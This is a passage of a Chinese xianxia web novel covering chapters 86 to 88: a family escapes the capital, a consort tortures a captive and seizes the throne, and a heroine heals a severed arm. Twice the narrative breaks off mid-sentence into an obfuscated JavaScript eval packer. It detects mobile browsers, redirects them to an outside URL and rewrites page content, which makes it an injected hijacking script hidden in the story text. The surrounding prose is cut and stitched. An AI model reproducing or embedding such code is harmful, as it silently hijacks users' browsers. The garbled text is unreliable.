依依拍着手笑起来:“二叔是腌肉!腌肉!” 柳晋夫妇一前一后走了进来。看着呆愣在原地和其他儿女们融洽的气氛格格不入的大儿子,柳晋纳闷道:“你做什么?” 柳问这才回神,面上一红,总不能说女儿见到柳逸直不过几个时辰,就被哄得不要他这个老父亲了吧?柳问灰溜溜地坐到了沈渔旁边。 柳逸直脸上的笑意稍淡,他将依依放到地上,温和道:“去找娘亲吧。” 依依迈着腿跑到沈渔跟前,女人朝柳逸直微微颔首,然后一把将女童抱起来走了出去。 侍女们也纷纷离开,转眼间屋子里就只剩下几个他们一家六口人。 柳晋坐在上首,属于一家之主的威严渐渐蔓延开来,其乐融融的场面一下子变得郑重肃穆,就连柳意欢和柳诉也正襟危坐,这让刚被人从衙门叫回来的柳问心里惴惴不安,问道:“这是怎么了?到底有什么大事要说?” 郑妙解释道:“是逸直说京城不安全,让我们出去避避风头。” 柳问身处朝堂,得到的消息也会比其他人要多得多,他立即看向柳逸直,问道:“莫非宫里那位要有什么大动作?” 修行者间的事情他们还是不知道为妙,于是柳逸直只言简意赅道:“近日京城恐怕会出大乱子,我在明敌人在暗,虽然我来这里的时候都有遮掩行迹,但天下没有不透风的墙,他们未必不知道我和你们的关系,若是真的打起来,我恐怕腾不出手来保护你们,还是等安全了,你们再回来吧。” 柳问看着他认真的神色,心知他没有开玩笑,看来今日朝堂上那些流言并非空穴来风。他点头道:“我知道了,没有什么比家人的安危更重要,我这就修书一封,就说回来路上摔着了,去不得衙门办差了。” 柳逸直点头:“如此最好。” 柳晋虽然年纪大了,脑子却不糊涂,知道柳逸直也是为了他们好。仙家相争素来不会管凡人的死活,他们留在这里也只会成为柳逸直的累赘,闹不好还会被敌人抓起来,当做要挟柳逸直的人质。所以在听到柳逸直的来意时,他迅速让家仆去收拾行囊,把孩子们都叫了回来,不出一个时辰,一家人整整齐齐,乘着三辆马车径直驶向南城门。 来到城门口,车队停了下来,例行接受检查。柳诉交友广泛,撩开车帘和守城的将士寒暄。 “哟,柳二爷!”将士热情地迎了上来,扬起笑脸:“这还下着大雨呢,您这是要上哪里去啊?” 柳诉笑道:“嗐,还不是我家老头子,昨夜梦见早逝的姑母了,一时间悲从中来,非要去坟前祭拜,怎么劝也劝不住。正好栖凰山花烂漫,也带二老去散散心,去别院里住几天。” 后面一辆车里忽然传来柳晋的咳嗽声,柳诉幸灾乐祸地笑,“嘿,你瞧瞧,生气了,待会指不定怎么收拾我呢。” 守城将笑意更深,“二爷这么孝顺,柳老爷子高兴还来不及呢,又怎么会责怪您?”他伸长脖子往车厢里看了一眼,“柳大人也来了吗?” 柳诉将车帘扯得更开,露出除了他以外空空荡荡的车厢来,他笑道:“哪能啊,大哥摔伤了腿,在家里养伤呢。小妹又爱热闹,哪里肯去那深山老林里?” 守城将笑着附和,这时,一个士兵跑过来在他耳边低语:“大人,第二辆马车里只有柳老爷和柳夫人,第三辆里都是些行李衣物,并无异常。” 守城将点了点头,士兵便退了下去。他又和柳诉唠了几句家常,大手一挥便放行了。 马车笃笃驶出城门,直到行了几里地,将卧泉城远远甩在了后面,柳诉身边柳逸直和柳问二人的身形逐渐显露了出来。 柳问猛地舒了一口气,端起桌上的茶盏灌了一大口,心有余悸地拍了拍胸口,叹道:“还好没被发现。” 柳逸直笑道:“我都说了你不必如此紧张,那守城将士不过是个凡人,发现不了我们的。” 柳问不是不相信柳逸直的话,但他一介凡夫俗子,又是头一回见识那什么“隐息符”,虽然柳逸直打了包票,但守城将的目光从他身上划过时,他还是难以遏制地屏住了呼吸,要是自己的喘息声和急促的心跳声被守城将听见,让他察觉到不妥,那他们的谋划可就功亏一篑了。 柳问将茶壶重重放在案桌上,把头伸出窗外,大声道:“爹,娘,囡囡,渔儿,意欢,你们那里没事吧?” 依依和柳意欢交叠在一起声音传了过来:“没事!” 柳问这才放心地把头缩了回来。 柳逸直正色道:“我还有同伴在这里,你们不用担心,等事情了结了,我再接舅父舅母和你们回来。” 柳问点点头,将手放在柳逸直肩头拍了拍,严肃道:“万事小心。” 柳诉则揽着柳逸直的肩膀,嬉皮笑脸道:“方才城墙上那位姑娘就是你的心上人吧,下次可得把她介绍给二哥啊!” 柳逸直冷不丁被口水呛到,心想他是怎么知道的。 柳诉好像知道他在想什么一样,笑着解释道:“咱们都走远了,你还一直回头去看,除了心上人还能有谁?” 柳问方才大气也不敢喘,自然没有发现柳逸直的异样,闻言立即追问道:“什么?你看到那姑娘了?长什么模样?还真的有这么一号人物啊?” 柳逸直推开两位八卦的哥哥,笑道:“等你们回来再说吧,我就送到这里了。” 不顾二人的阻拦,柳逸直推开车门跳了下去,和柳晋夫妇打了声招呼,马车未停,柳晋只撩开车帘深深看了他一眼,没有说什么煽情的话。 马车上灵气翻涌,三架一模一样的马车从原先的车队上剥离出来,一队笃笃向南行驶,逐渐变得透明,直至凡人的肉眼难以探查,另一队则是拐进了山路里,按照既定的路线朝柳如因、易骞夫妇的埋骨之地驶去。 柳逸直目送隐匿状态下的马车消失在道路尽头,而后便头也不回地转身掠回了卧泉城中。 - 就在柳家车队驶出城后不久,岚孟正打算往城下走,忽然收到了鸣珂的传讯。 “贵妃名许凝,尚不知其深浅。一宫人夜遇恶鬼,忽而男忽而女,吃人,其尸有魔气萦绕,或死于朝圣道魔修之手。” 岚孟秀气的眉头深深蹙起,呢喃之语从唇边逸出:“许凝?” 她收紧五指,传讯符便碎作齑粉,飘飘悠悠散入了风中。 整个人如轻盈的蝴蝶,岚孟掠下城墙,在房舍之间跳跃,不多时便来到了鸿胪寺旁边的驿馆。姜旻不在,岚孟随便抓了一个人问,才知使团一行人今日被安排到太学参观听讲,于是岚孟又跑到了太学,才看见了学堂里,坐在一干学子之中认真听讲的姜旻。 她旁若无人地越过守在学堂四周的随行侍卫,大喇喇走进了学堂里,站在姜旻身后,在他耳边打了一个响指。 姜旻这才注意到岚孟的存在,猛然被吓了一跳,岚孟连忙按住他微微颤动的肩膀,低声道:“安静,别被人发现了。” 姜旻的心脏“砰砰”跳个不停,他轻轻点了点头,努力压下心中悸动,看似神情专注地望着台上头发花白的老头,实则目光落在虚处,耳朵竖起来听着身后之人的提醒。 “皇宫有危险,你就别去添乱了,装病也好,逃跑也罢,总之不要靠近皇宫,最好也别让楚国之人近你的身。” 姜旻心下骇然,既然山到源的仙长都说有危险,那宫里的情况一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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心知贸然闯入并不是什么稳妥的法子,但不入虎穴焉得虎子,对方说不定早已将她摸了个底朝天,而她对敌人却依然一无所知。岚孟不喜欢这种被动的感觉,仿佛自己只是棋盘里一枚小小棋子,只能任凭执棋之人摆布左右。 权衡利弊过后,她还是收敛气息潜进了国师府,在偏僻的角落抓了一个路过侍女,将刀抵在她脖子上,哑声问道:“国师何在?” 侍女的腿几乎抖成了筛子,手里端着的茶盏哐当作响,她咽了咽口水,哭丧着脸道:“国师大人在,在北边的后罩房,雕木头。” 脖颈忽然一疼,侍女的身体软了下去,一只手将她扯进了昏暗的角落里。不多时,侍女又走了出来,眼神犀利而锋锐,气质凌然,她低下头,脊背一弯,脸色一垮,又变回了唯唯诺诺的模样,端着茶盏朝后罩房走去。 来到熟悉的后罩房前,岚孟抬手轻轻叩了叩门,声音已变得和侍女一般无二,她道:“国师大人,您要的茶来了。” 屋子里丁零当啷的声音停了,男子呢喃的声音传入岚孟耳中:“我要了茶水么?” 还不等岚孟解释,他便自己推翻了前言:“算了,正好也渴了,进来吧!” 岚孟推门走了进去,看到一个人背对着她盘腿坐在木屑之中,身上穿着朴素的短打衣服,满头青丝尽数束在脑后,正拿着刻刀对付着手里的木头。 岚孟轻手轻脚地避开丢得满地都是的刀具,将手中茶盏放在了国师旁边的矮桌上,起身退开时,她不动声色往边上一瞥,终于瞧见了国师的样貌——年岁二十有余,样貌平平,属于放在人堆里就找不到了的那种,唯一值得注意的是他的眉心有一道白痕,不是伤疤,若不是岚孟离得近,恐怕也察觉不了。 是昨夜住在隔壁的那个人,原来他就是国师崖昱。但怎么看眼前此人都是一个毫无灵力的凡人,和岚孟的想象实在是大相径庭。 崖昱相当不拘小节,自己伸长胳膊将桌上茶盏拾过来仰头喝了一口,打发道:“下去吧,晚膳之前不要再有人来打扰。” 妖境之中属于霜笛的蛇形玉坠忽然有灵气波动,岚孟不动声色地垂下眼眸,福了福身便欲退去,然而就在这时,崖昱忽然一把抓住了她的胳膊,憨厚的脸上浮现出了又痴又颠的表情,眉心的白痕忽然变成了黑色,像是植物根须一样的纹路逐渐向外延展。 他阴森森地笑:“抓住你了……” - 若是岚孟有时间取出霜笛的玉坠,她就会看见这样一句话—— 千万别去招惹国师。 他是朝圣道的圣主。 87. 放开她 福宁宫,楚祯窝在宽敞的紫檀木大床上,穿着轻薄透气的丝绸寝衣,眼下青黑,像是被人对着眼睛打了两拳,他睡相邋遢,半个身子探出在锦被外,把锦被当成了身娇体软的美人,砸吧着嘴一脸憨样,做着天人交合的美梦。 一道屏风之隔,贵妃塌上坐着一个女子,她翘着二郎腿,媚眼如丝,纤纤玉指捻着一根手掌长的铁针,针尖锋利无比,唇边噙着一抹若有似无的笑意,正拿铁针逗弄着放在矮几上玄铁所打造的鸟笼里的,通体玄青的鸾鸟。 针尖上似有电流,只要被碰到,鸾鸟便会如被电击一般浑身抽搐,七窍都冒着黑烟,原本流光溢彩的羽毛也失去了色泽,呈现出不同程度的焦黑。 鸟笼旁边立着一面古朴的铜镜,镜中有几人在打斗,被黑衣人群起而攻之的,是一个有着黑色长发的女子,用来束发的幽蓝发带早已变得破破烂烂,摔进泥潭之中,被缠斗在一起的几人踩踏,碾碎,不复往日光彩。 仔细观察,镜面并非光洁无污,角落里有星星点点飞溅而来的暗色血迹,来自不远处被铁针定在地上的年轻男子。 他整个人成“大”字形趴在地面上,泛着寒光的铁针穿透了他的手掌和小腿,鲜血源源不断地从伤处淌出来,浸湿了他的衣裳,他几乎成了一个“血人”。 “放开她……”言如期勉力抬起头,目光紧紧盯着被关在笼中的鸣珂,声音暗哑如破旧的风箱,只要动一动嘴,便会有鲜血从口中涌出,顺着下巴淌到地上,同身体其他地方涌出来的鲜血交汇在一起,形成一条血河。 许凝收回握着铁针的手,鸾鸟痉挛着摔了下来,她唇边的笑意更甚,随手将铁针掷了出去。 铁针稳稳当当扎进了言如期的肩胛骨上,如有泰山压顶,剧烈的疼痛让言如期发出一声闷哼,他咬着牙不肯叫出声来。 许凝挑眉:“看着文文弱弱的,倒是块硬骨头。除了闫扶音,你当真不肯说出另一人是谁吗?” 言如期从嘴里吐出两个字来:“休想。” 许凝“啧”了一声,“当真是不见棺材不落泪。” 她五指握紧,又一根铁针浮现手中,在言如期的目光注视下,施施然将铁针伸进笼子里。这一次,她不再隔靴搔痒,而是径直将铁针扎进了鸣珂的翅膀上。鸾鸟尖啸一声,剧烈挣扎起来。 言如期看着在笼子里挣扎不止的鸣珂,像是有一只脚重重碾在他的心头。言如期目眦欲裂,眼神几乎要喷火,“有本事冲我来!快放了她!” 许凝唇边笑意更甚,她手上动作未停,追着在铁笼里乱窜的鸣珂扎了她好几针。 “啊!”许凝惊呼一声,猛地抽回手来,白皙的手背上赫然一道狭长的伤口,上面皮肉翻卷,被叼去了一层皮。 鸣珂“呸”地一声吐出口中皮肉,强撑着伤痕累累的身体站了起来,抬着鸟头,眼神睥睨,仿佛视一切如无物,明明身躯还没有半人高,气焰却能直冲云霄。 “难怪只让你以色侍人、当男人的玩物,就只有这点手段吗?没用的腌臜货!” 不知道是哪个字眼触怒了许凝,她一直上扬的唇角转瞬间便垮了下来,眼神阴冷犹如寒冰裹挟,她猛地将手伸进笼子里,一把攥住了鸣珂的脖颈。巨大的力道让鸣珂呼吸困难,窒息的感觉如潮水汹涌,拍打着她的脑袋,眼前一阵一阵发黑,挣扎间,无数羽毛从她身上脱落,挤出铁笼缝隙,散得满地都是。 许凝掐着鸾鸟脖颈的手一寸寸收紧,眼中似有红气缭绕,面上冰霜犹未解冻,唇角却勾起一个阴冷的笑容。 “你以为,你们不说,我就找不到那人是谁了吗?整日和你们混在一处的无非就是那几个,是娄雪沁,翟子续?还是诸葛宁,齐悦风?噢……” 许凝拉长了尾音,像是发现了事情的真相,恍然道:“差点忘记了,当初考核你们的稽查,是柳逸直吧?我记得,那小子的故土就是楚国吧?正好城中有个全城闻名的酒坊,主人家好像也姓柳,你们说,这两者之间会不会有什么关系呢?” 言如期瞪大了眼睛,惊恐道:“你,你怎么会这么清楚……” 许凝阴森森地微笑着,仿佛从地狱里爬出来的阎罗,眼见着手中鸾鸟两眼发白,几乎要背过气去,她才将其放开,慢条斯理地用帕子擦了擦手,手背上的伤痕以肉眼可见的速度愈合。 一开始,她只是低低地笑着,慢慢地,笑声越来越大,最终演变成仰着头癫狂大笑,活脱脱就是一疯子。 “我怎么知道?哈哈哈,没有人会比我更清楚了……” 眼角都笑出了眼泪花来,她伸手抹去,转而端起了桌上的铜镜,眼睛紧紧盯着镜中腹背受敌的姑娘,她道:“我变成现在这个样子,都是被你所害啊。”涂着蔻丹的指甲轻轻划过镜中人的脖颈,黑曜石般的眼睛好似被一道血痕划成两半,逐渐向四周晕染。 这一刻,世界好像只剩下她和手中的铜镜,外界的一切都被她忽略了,也包括偷偷摸摸做着小动作的鸣珂。 许凝从癫狂中清醒过来,她斜眼往桌边的铁笼一瞥,就要伸手去够,说时迟那时快,鸣珂散落在地上的羽毛忽然自己飞了起来,翎羽化作尖锐的利刃,齐齐攻向许凝。 她冷哼一声,“不自量力。” 手掌重重拍在桌上,她的身边忽然浮起了一朵朵火焰之花,张开花瓣包裹住了羽刃,和许凝想象中羽毛被烧成灰烬不同,在火焰的炙烤下,羽毛竟冒起了白烟,“滋滋”的响声不绝于耳,与此同时,空气中弥漫着诡异的花香,许凝眼神一凛,抬手用衣袖掩住了口鼻。 虽然及时反应过来那花香是毒,第一时间就掩住了口鼻,但此毒似乎能通过皮肤侵入经脉,许凝的身体有了一瞬间的麻痹。 就是这一瞬间的功夫给了鸣珂可乘之机,她不再压制身体,不足半人高的鸾鸟转眼间便长得如象一般大,瞬间撑破了铁笼,长翅一挥,钉在言如期四肢上的铁钉便被狂风吹得松动,她张嘴叼住言如期腰间的衣物,张开翅膀撞开了店门,风驰电掣般飞了出去。 许凝的知觉也在这一刻恢复,她的五指往虚空里一抓,一条火焰织成的长鞭出现在她手中,腕上用力,鞭子便破空而去,延伸出十余丈长,即将卷上鸣珂的脚爪。 鸣珂奋力挥翅躲开了火鞭,尚不能喘一口气,又一波攻击袭来。 然而就在这时,福宁殿的床榻处忽然传窸窸窣窣的声响,楚祯带着睡意的声音响起。 “爱妃……你在哪?” 火焰长鞭瞬间消失,鸣珂见危机解除,连忙扑腾翅膀飞出了宫外。 许凝打了个响指,殿中的狼藉顿时消失殆尽,楚祯揉着眼睛,光着脚从屏风后走了出来,双手环住许凝的腰身,将下巴搁在了她的肩上。 “时辰还早呢,爱妃怎么不多睡会?” 许凝心想这个时辰猪都起来了,还早?然而面上自是不显。她扬起笑脸,柔荑抚上楚祯的胳膊,温柔道:“陛下怎么不多睡会?” 楚祯道:“睡得寡人头疼。”他将脑袋埋进女人的肩窝里,鼻尖蹭开领口,深深嗅了一口内里的香气,痴迷道:“爱妃还是这么的合寡人的口味……” 许凝低低地笑,脸上早已没了方才的狠辣劲,只不过笑容不达眼底,放在膝头的手也握紧了拳头,指甲深深嵌进了掌心里,几乎要渗出血来。 她动了动身体,挣开楚祯的怀抱,一副小女儿和情郎闹别扭的姿态,怨道:“陛下净会哄骗于我。” 见到此情此景,楚祯慌了,急忙解释道:“寡人对爱妃的心日月可鉴,绝不会有半点虚假!” “真的?”许凝质问:“那陛下为何还留着那个老女人,就因为她给你生了个女儿吗?” 楚祯简直百口莫辩,额头渗出一滴汗来,连忙转过美人的肩膀将人抱进怀里,手放在她的背上安抚道:“这不是,因为她舅舅手底下还有兵嘛,她还是父王亲自册封的皇后,凤印也还在她手 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楚祯似乎恢复了清醒,手哆嗦着抓住了女人的裙摆,嘴巴翕动半天,却仍说不出话来。 许凝单膝跪地,手搭在曲起的膝盖上,是个男子惯用的姿势,她柔媚的眉眼也在不知不觉中多了几分英气和凌冽。 “本打算等万事俱备再动手的,但瞧着眼下的情形,也没什么拖延的必要了。” 她将裙摆从楚祯手里拽了出来,毫不迟疑地站起身,从他身上跨了过去,径直走到门外,有一个人恭敬地候在门口,是羽林卫大将军厉本。 “将军方才也听到了,陛下已封我为新皇后,本宫现在命你速去捉拿文唤音和姜芪,再传旨下去,姜国太子有不臣之心,意图刺杀陛下,活捉使团一行,若有违抗,就地格杀。” 厉本勾唇,规规矩矩地抱拳行礼,“是,谨遵皇后娘娘令。” 羽林卫倾巢出动,身着甲胄、手握长刀的皇家卫兵闯进了集英殿,弓箭手一个接一个趴在墙头,拉弓搭箭,对准了紧紧闭合的主殿大门。宫人们推搡着乱作一团,或被擒拿或被斩杀,惨叫声响彻四野,然而主殿却没有一点风吹草动。 厉本一脚踹开殿门,才知道集英殿早已人去楼空,旁边姜妃的宝慈宫同样如此。 另一边,羽林卫抓获了尚在太学和驿馆的使团一行人,但位高权重者,只有几个姜国礼部的大臣,太子姜旻不知所踪。 日暮时分,大雨稍歇,铁骑踏碎了承载了夕阳余晖的青石板,卧泉城表面上的宁静终于被打破。 国师府,后院,崖昱猛然惊醒,一睁眼,便看见他精心雕琢了许久的木雕七零八落,损毁了大半,整扇门都没了,窗户只剩顶部半截摇摇欲坠的木条,风一吹,木条上的钉子再也不堪重负,木条“哐当”一声坠在了地上。 目光放远,院落里一片狼藉,花草树木尽数折断,原本整齐严密的石板路被砸得坑坑洼洼,院墙破了个大洞,透过洞口,刚好可以望见西边一轮圆日歇在山尖尖,散发着金色的光芒。 石板上有着好几滩血迹,被雨水化开,暗红的血也变成了绯色,断成好几截的蓝色发带静静躺在血泊里,不用想也知道,这里经历了一场恶战。 崖昱这才感觉浑身都很疼,像是被人狠狠掼进了樯里,他用力将手从墙里拔了出来,跌跌撞撞从门洞里跑了出去。阴沉沉的乌云被风吹散,露出一块湛蓝色的天空。雨后的空气清新好闻,深吸一口,整个肺腑都好似被清洗涤荡了一遍。 然而崖昱的心情简直不要太糟糕。 罗汉木雕倒着栽进了泥土里,崖昱心疼地拎着罗汉的腿将其拔了出来,这才发现罗汉的半个头都没了,最为传神的一双眼睛只剩了一只。 崖昱将木雕抱进怀里,越想越委屈,一腔怒火再也无法遏制,他仰头大骂:“到底是哪个龟孙非要进别人的家门打架啊!赔我的罗汉!” 88. 梦回时 经历持续了一整天的春雨,虽然空气中弥漫着草木清香,但天穹却没有因此变得清澈明朗,黑沉沉的天上没有一颗星星,夜色如浓墨化开,树上的花瓣早已被连绵不绝的春雨打得稀碎,只有向阳面的些许树杈长出了嫩黄的新芽,风吹树动,像是在漆黑暗夜里踽踽独行的、衣衫褴褛的游人。 卧泉城的达官贵人们都集中在东、北两个方位,那里鳞次栉比,街道整齐,入夜以后,家家户户紧闭房门,还有身着甲胄的武侯提着枪到处巡逻,偷鸡摸狗的也得掂量掂量自己有没有本事在银枪之下逃脱。 相比之下,西南方向就松散得多,居住于此的大多数是平民百姓,房屋有大有小,街道也不甚俨整,三教九流混迹于此,滑得如泥鳅,只要钻进四通八达的小巷子里,任谁也抓不住他一片衣角。 但眼下的情形不容乐观。天还未黑,羽林卫们便奔波城中,到处张贴布告,缉拿悬赏人犯,南城这等鱼龙混杂之地更是他们搜查的重中之重,往日里在大街上晃荡的赌徒和酒鬼也消失了,没人敢在这个时候出头鸟,家家户户紧闭门窗,寂静的夜里只有羽林卫粗暴的拍门声格外清晰。 “砰砰砰!”拍门声响在自家门口,跛了一只脚的男人披着衣裳,艰难地跑去开门,卫兵们可没有那个耐心,还不等他拨开门栓,便大力地撞开了门,男人猝不及防,一个踉跄摔倒在地上。 卫兵们接二连三冲进了这个略显寒酸的家中,妇人抱着孩子缩在床角,看着在屋子里横冲直撞不知在搜寻什么的官爷瑟瑟发抖。 屋子不大,有没有藏人一目了然,男人半边身体都沾了污泥,眯起眼睛凑在灯下,仔细看了看官爷手中钦犯的画像,沉默着摇了摇头。 来去犹如一阵风,羽林卫们鱼贯而出,男人又踉跄着将大门门栓插上,染了一身春寒的身体钻进已经变凉的被窝。 妇人忧心忡忡道:“这么大的阵仗,莫非是什么江洋大盗?” 男人回想了一下画像上样貌清俊的长发女子,摇了摇头。 “是个女的,不知道犯了什么事,和咱们也没干系,快睡吧。” 昏黄的灯光一下子灭了,拍门声与犬吠声都在很远的地方,一家三口又沉入梦乡。 他们不知道的是,在自家后院墙根处的杏子树上,一只染满血污的手拨开了繁茂的树叶,露出一双蓝色的眼瞳来,像是盛了一汪碧水,折射出泠泠幽光来。 羽林卫们找不到人,早已去别处寻找了,岚孟谨慎地用神识探查了四周,确认没有危险以后才将靠在树干上轻喘呻吟的男子扶了下来。 柳逸直额头上冷汗直冒,失血过多令他双颊和嘴唇都没有一丝血色,满身的血污集中在身体左半边,不消多么仔细观察,便会发现他的左肢空空荡荡,大臂从中间被人用刀剑斩断,一层灵气凝聚而成的薄膜覆盖其上,勉强止住了血。 岚孟小心翼翼地将柳逸直扶进了这户人家后院里用来放柴禾的简陋柴房里。说是柴房还算是抬举了,只不过是搭了几根木头,在上面铺了雨布防止柴火被雨雪淋湿而已。一个冬天过去,原本堆满了整个柴房的柴禾也快用完了,这才有余地能让两个手长腿长的人挤了进来。 白皙的腕子沾了血污,一枝蔷薇藤从青色血管处爬了起来,生长速度极快,不多时便长得枝繁叶茂,攀爬上柴禾和房梁,将整个空间覆盖地严丝合缝,茎上吐出细小的花苞,随着岚孟手指的动作,一朵接一朵绽放开来。 一抹蔷薇花幽香争先恐后钻入了柳逸直的鼻中,驱散了鼻腔之中的血腥气,他勉力睁开眼,望见一朵朵蔷薇花亮起淡黄色的光芒,照亮了近在咫尺的姑娘的眉眼。 她的发丝和眼瞳俱变成了蓝色,比他第一次见到的更为深邃神秘,眼底似有星光闪烁,看着那半截手臂的神情十分认真。 挥刀之人下了杀招,加之刀刃极其锋利,断口十分平整,竟没有一点骨头渣子,所以岚孟只用从九尾狐衔青那里得来的天泉水净了一下手,再仔细清洗了手中的断肢,然后带着凉意的手触上柳逸直的左臂,将残破的衣袖一把扯断了,将天泉水瓶口凑近他的伤处,低声道:“忍着。” 下一秒,柳逸直便感觉到左臂传来一阵剧痛,初时是刺骨的冰凉,像是跌进了万年寒池一般冷入骨髓,紧接着是被烈火烧灼的刺痛,像是有一万只蚂蚁在啃噬,又痛又痒,他忍不住挣扎起来。 忽然感觉身上一重,女子靠了过来,以一种极其暧昧的姿势贴着他,一手按住他的左肩防止他挣扎,一手提过断肢,将两处断口对准了按压在一起。 柳逸直顿时感觉一阵灭顶的钝痛从左臂袭来,瞬间便淹没了他的意识,疼得他想失声惨叫,但追兵尚未走远,随时都有被发现的风险,因而他只咬紧了牙关,殷红的血源源不断从齿缝中溢了出来。 岚孟不敢松手,腕上的蔷薇藤分成如线一般粗细的细丝,扎进了柳逸直的胳膊里,像是穿针引线一般将断肢和本体缝合在一起。 察觉到身下之人的挣扎没有方才那般剧烈,她稍微松开按着他肩膀的手,转而将手腕贴近他的唇,命令道:“咬。” 柳逸直下意识张口咬住了那一截皓腕,犬齿深深扎进血肉之中,嘴里的血腥气被一阵甜香代替,他叼着她的手腕不敢动,巨大的痛楚让他的脑子变作一团浆糊,双眼浮上了水雾,他极力睁开眼,却看不清她的神态,只有那一抹刺眼的蓝色映入他的眼帘。 见人咬着自己的手腕却没有下一步动作,岚孟凑近他,急切道:“吸血啊,愣着干什么?” 几乎是话音刚落,她便感觉手腕上一阵刺痛,理智近乎消失殆尽的男子仿佛变成一个渴望着鲜血的猛兽,他急切地吮吸着,鲜血源源不断从她手上被吸入温热口腔之中。 岚孟扭头看向右侧,在她的血的滋养下,柳逸直的左臂正快速恢复着,长出新的血肉和骨质,将断肢连接在了一起。 她捏着柳逸直的下巴,将手腕从他口中释放了出来,脱力般往后跌坐在了蔷薇藤上,她抬手挡在眼前,一副疲惫不堪的样子。 空间太小,两人的腿相互碰撞挤压,热度相互传递,不知是心理作用还是真实发生,柳逸直奇异地感觉暖意从想接触的地方蔓延开来,逐渐传至全身。虽然左臂依旧一阵一阵地发疼,但他已经不再冒冷汗,脑海里的眩晕感也逐渐退去,眼神逐渐清明,他哑声道谢。 岚孟没抬手,闷闷地“嗯”了一声。 “若不是为了救我,你也不会被砍断一只手,就当是还了你这情。” 在察觉到国师身上的异样之时,她瞬间就将人甩飞了出去,本想立即逃走,可几个黑衣人不知从何处冒了出来,招式凌厉,刀刀致命,从他们身上的气息判断,是朝圣道的魔修不错。 敌众我寡,她护住自己不受伤就已经很是费力,根本腾不出手来给柳逸直传讯。勉力杀了几个魔修以后,她身上也挂了彩。剩余三个魔修配合默契,先是夺了她手中参剑,再架空了她的四肢,剩下一人举着刀兜头朝她劈来,好在柳逸直及时赶到,替她挡下了这致命一刀,她也完成蓄力,奋起重创了三个魔修,带着柳逸直逃之夭夭。 自己惹得一身伤不说,还丢了一把参剑,柳逸直也半死不活,若不是眼下正值春季,可以最大程度的发挥春神神力,她也不敢保证柳逸直那条胳膊还能不能接上。 歇了一会儿,总算恢复了一点力气,岚孟倾身过去,三指搭在柳逸直的断臂处,感受着指下的骨与肉在一寸寸生长恢复,她不由得舒了一口气。要是害得他成了断臂,当真是她的罪过。 一抬眸,她便望进了那双水汽氤氲的琥珀色瞳孔里,一滴汗珠被穿过浓密的眉毛,忽而又被眼睫阻隔,即将落入那双深邃眼瞳里。神使鬼差间,岚孟抬起手,用拇指指腹轻轻揩去了那滴汗珠。 感受到眼皮上传来温热的触感,但柳逸直已经完全提不起精力了,左臂的钝痛存在感极强,一遍一遍冲刷着他的神经。虽然岚孟设了结界,但没有隔绝外界的声音,男人打鼾声,孩子呓语声,时不时打破黑夜寂静的犬吠……杂乱的声音源源不断钻进他的脑海,但奇迹般的,怀中女子身上腾起的热意温暖着他,淡淡的蔷薇花香味熏陶着他,柳逸直竟生出了些许睡意,毫无由来的安宁如浪潮,裹挟着他坠入了黑甜梦乡。 他发现自己又回到了那片熟悉的火海。 这一次的梦境十分逼真,空气中弥漫着烧焦的糊味,火舌舔舐着他的衣裳和皮肉,将他烤得汗流浃背,不一会儿背后的衣裳便湿了一大块。 柳逸直拖着沉重的步伐往火势较小的地方走,灼热的气浪恍惚了他的视线,远处的山林和溪水变得扭曲而可笑,天上没有一朵云彩,炽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15188205|160615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 热的阳光洒在身上,给疲惫的身躯施加了又一道酷刑。 由于长时间处于火海之中,柳逸直口干舌燥,嗓子干得几乎要冒烟,双腿逐渐发软,就要支撑不住身体的重量,他停下了脚步,弯下腰,双手撑在膝盖上暂作休憩。他擦了擦额头的汗水,眯起眼睛望向远处那条小河,明明就在眼睛能看得到的地方,他却觉得这条路好长好长,好像永远也走不到尽头。 他也不知道为什么要朝这个方向走,只是潜意识告诉他,有什么人在河畔等着他,那是他必须要到达的地方,那里有他想要的一切答案,他所有的疑问,所有的彷徨与无助,都会在河畔得到解答。 柳逸直站直了身体,将被火焰咬得残破不堪的袖子一把扯掉了,他深深呼吸了一回,捏紧拳头,一鼓作气朝前走。 渐渐地,他的双腿不再发软,反而积蓄了很多力量,他跑了起来,有凉爽的风从他身上拂过,扬起他的发丝,吹起他的衣袍,他跳跃起来,脚下生风,像是山间小鹿,纵身一跃而起,跨过了连绵不绝的火焰,小河越来越近,潺潺流水声越来越大,一个男人的寂寥身影映入柳逸直的眼帘。 他背对着自己跪在河边,虽然是跪立的姿势,腰杆却挺直如不屈的青竹,他身穿一袭红衣,肩上墨发随风飘扬,火焰一股脑往他身上扑,却连他的一根头发丝也烧不断。 柳逸直在男人不远处停了下来,缓缓朝他走近,心中有一个名字呼之欲出,他张开嘴,鼓足了勇气,才将那个名字吼了出来。 “尧玦!” 失重感猛然袭来,柳逸直下意识闭上眼睛,呼啸的风刹那间静止了,他睁开眼,发现自己跽坐着,目光所及之处,膝盖对面还有一双膝盖,他抬起头,望进了尧玦那双淡金色的眼睛,也看见了倒影里的自己,是孩童模样。 柳逸直诧异地抬起双手一看,果然是一双肉乎乎的小胖手,因跋山涉水,从一片火海中走来,而布满了焦黑的伤痕。 “这段记忆,我将暂时封存。” 尧玦的话语传入耳中,柳逸直猛地抬头,发现他的神色是前所未有的郑重——就像是在交代后事一样。 “我已是强弩之末,便只好携恩图报了。等你的修为达到闻道境,时机成熟之时,这段记忆便会自动解封。” “若是真如我所预见的那样,你对我家小孟孟有情,我希望你拉她一把,莫要让她一意孤行,走上不归路。” “酬劳是一个阵法,分为上下两份,一份夹在藏典阁的书里,一份在……” - 